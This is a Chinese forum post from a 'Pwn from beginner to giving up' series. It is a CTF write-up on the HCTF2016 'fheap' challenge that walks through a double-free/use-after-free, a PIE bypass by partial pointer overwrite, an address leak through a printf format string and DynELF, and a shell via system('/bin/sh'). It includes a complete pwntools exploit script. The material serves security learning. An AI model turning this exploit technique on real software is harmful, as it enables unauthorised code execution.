首页
论坛
课程
招聘
[原创][分享]Pwn从入门到放弃(五)
2020-1-19 15:11 7272

[原创][分享]Pwn从入门到放弃(五)

2020-1-19 15:11
7272

0x01 栈溢出利用

0x02 Double Free利用

0x03 题目五:

题目为HCTF2016的一道PWN题,名为fheap,题目下载:
fheap

 

也可以直接使用c源代码自行编译生成:

#gcc fheap.c -pie -fpic -o fheap
#strip fheap

话不多说,开始尝试解题:

0x04 解题思路

  • 第一步,先查看一下程序开了哪些保护:
    图片描述

程序为64位小端,除了stack canary外,保护全开,似乎有些棘手啊。

  • 第二步,运行一下程序看看:
    图片描述

是一个典型的Create、Delete菜单类题目:

  1. 通过输入create string后,输入相应size和content,从而添加内容
  2. 通过输入delete string, 输入相应内容id, 选择是否对相应内容进行删除
  3. quit, 退出程序
  • 第三步,将程序丢到IDA中看一下:
    通过F5,可以在create函数中查看到,当create时,程序会先申请0x20字节的堆块存储空间,如果输入的字符串长度小于0xf,则直接存储于0x20字节的前16个字节处,如果输入的字符串长度大于0xf,则申请相对应长度的空间存储字符串。

    图片描述

而在delete函数中,可以看到,由于程序只是未将指针置空,因此存在Double Free漏洞:
图片描述

 

图片描述

 

图片描述

  • Double Free内存布局:

    图片描述

知识点1-Fastbin:Fast bins用于提高小内存的分配效率,不大于max_fast的chunk被释放后,首先会被缓存到Fast bins中。当分配的chunk小于或等于max_fast时,首先会在fast bins中查找相应的空闲块,用于加速分配。(在32bit的系统中,max_fast的值为64;在64bit的系统中,max_fast的值为128)。

 

因此只要我们能够将新申请块中的Free函数指针修改为我们想要的函数地址,就可以达到劫持的目的,但是这里有个难点,因为程序开启了PIE保护,导致内存地址随机化的问题。虽然地址随机变化,但由于内存页的载入机制,PIE的随机化只能对单个内存页进行随机化,因此它的低12bit并不会改变,正是因为如此,为我们绕过PIE提供了帮助,具体的方法是将free函数指针的最低位修应该为我们想要改变的函数指针(比如puts),从而去泄露我们想要的函数地址,通过计算偏移可以得到程序的加载基址等信息。
图片描述

 

图片描述

 

动态调试一下看看,下面是申请了两次小于0xf的堆结构:

 

图片描述

 

释放后重新申请大于0xf的堆结构:

 

图片描述

 

可以看到2260的地方指向的是存放字符串的地址,而free指针已被我们修改为了puts的指针。

  • 第四步,泄露puts地址,获得程序加载基址以及printf地址:
    data='a'*0x10+'b'*0x8+'\x5b'+'\x00' # leak puts_addr
    create(0x20,data)
    delete(1)
    p.recvuntil('b'*0x8)
    data=p.recvuntil('1.')[:-2]
    if len(data)>8:
      data=data[:8]
    data=u64(data.ljust(8,'\x00'))-0xA000000000000
    proc_base = data - 0x35b
    print "proc_base:",hex(proc_base)
    print_plt = proc_base + 0x090
    print "printf_plt:",hex(print_plt)
    delete(0)
    
  • 第五步,利用printf,通过DynELF泄露出libc和system地址,从而getshell:
data='a'*0x10+'b'*0x8+'\x5b'+'\x00'
create(0x20,data)
delete(1)
p.recvuntil('b'*0x8)
data=p.recvuntil('1.')[:-2]
d = DynELF(leak_addr, proc_base, elf=ELF('./fheap'))
system_addr = d.lookup('system','libc')
print "system_addr:",hex(system_addr)
delete(0)

完整EXP代码:

from pwn import *

context.log_level = 'debug'

p = process('./fheap')

if args.G:
    gdb.attach(p)

print_plt=0

def create(size,content):
    p.recvuntil("quit")
    p.send("create ")
    p.recvuntil("size:")
    p.send(str(size)+'\n')
    p.recvuntil('str:')
    p.send(content.ljust(size,'\x00'))
    p.recvuntil('n')[:-1]

def delete(idx):
    p.recvuntil("quit")
    p.send("delete "+'\n')
    p.recvuntil('id:')
    p.send(str(idx)+'\n')
    p.recvuntil('sure?:')
    p.send('yes '+'\n')


def leak_addr(addr):
    delete(0)
    #%7$s为printf函数格式化字符串打印第七个参数地址中的数据
    data='aa%7$s'+'#'*(0x18-len('aa%7$s'))+p64(print_plt)
    create(0x20,data)
    p.recvuntil('3.quit')
    p.sendline('delete string')
    p.recvuntil('Pls give me the string id you want to delete\nid:')
    p.sendline(str(1))
    p.recvuntil('Are you sure?:')
    p.sendline("yes.1111"+p64(addr))
    p.recvuntil("aa")
    data=p.recvuntil('####')[:-4]
    return data + '\x00'
    # print "data:",data

def pwn():
    global print_plt
    create(4,'aa')
    create(4,'bb')
    # create(4,'cc')
    # delete(2)
    delete(1)
    delete(0)

    #part 1
    data='a'*0x10+'b'*0x8+'\x5b'+'\x00' # leak puts_addr
    create(0x20,data)
    delete(1)
    p.recvuntil('b'*0x8)
    data=p.recvuntil('1.')[:-2]
    if len(data)>8:
        data=data[:8]
    data=u64(data.ljust(8,'\x00'))-0xA000000000000
    proc_base = data - 0x35b
    print "proc_base:",hex(proc_base)
    print_plt = proc_base + 0x090
    print "printf_plt:",hex(print_plt)
    delete(0)

    #part 2
    data='a'*0x10+'b'*0x8+'\x5b'+'\x00'
    create(0x20,data)
    delete(1)
    p.recvuntil('b'*0x8)
    data=p.recvuntil('1.')[:-2]
    d = DynELF(leak_addr, proc_base, elf=ELF('./fheap'))
    system_addr = d.lookup('system','libc')
    print "system_addr:",hex(system_addr)
    delete(0)

    #part 3
    data='/bin/sh;'+'#'*(0x18-len('/bin/sh;'))+p64(system_addr)
    create(0x20,data)
    delete(1)
    p.interactive()

if __name__ == '__main__':
    pwn()

图片描述

 

参考资料:
https://www.anquanke.com/post/id/85281
https://blog.csdn.net/CharlesGodX/article/details/88911417
http://www.rai4over.cn/2019/11/03/Use-After-Free%E6%BC%8F%E6%B4%9E-2016-HCTF-fheap-WriteUp/index.html
https://www.cnblogs.com/shangye/p/6156391.html


[看雪官方]《安卓高级研修班》线下班,网课(12月)班开始同步招生!!

最后于 2020-1-19 15:43 被bugchong编辑 ,原因:
上传的附件:
收藏
点赞1
打赏
分享
最新回复 (2)
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_whjdosoc 活跃值 2020-4-7 23:30
2
0
能帮我写个东西吗?QQ:78763707
雪    币: 4258
活跃值: 活跃值 (1192)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2020-4-7 23:54
3
0
mark,楼主似乎没有提到libc版本呀,如果是有tcache的话应该怎么解决呢??
游客
登录 | 注册 方可回帖
返回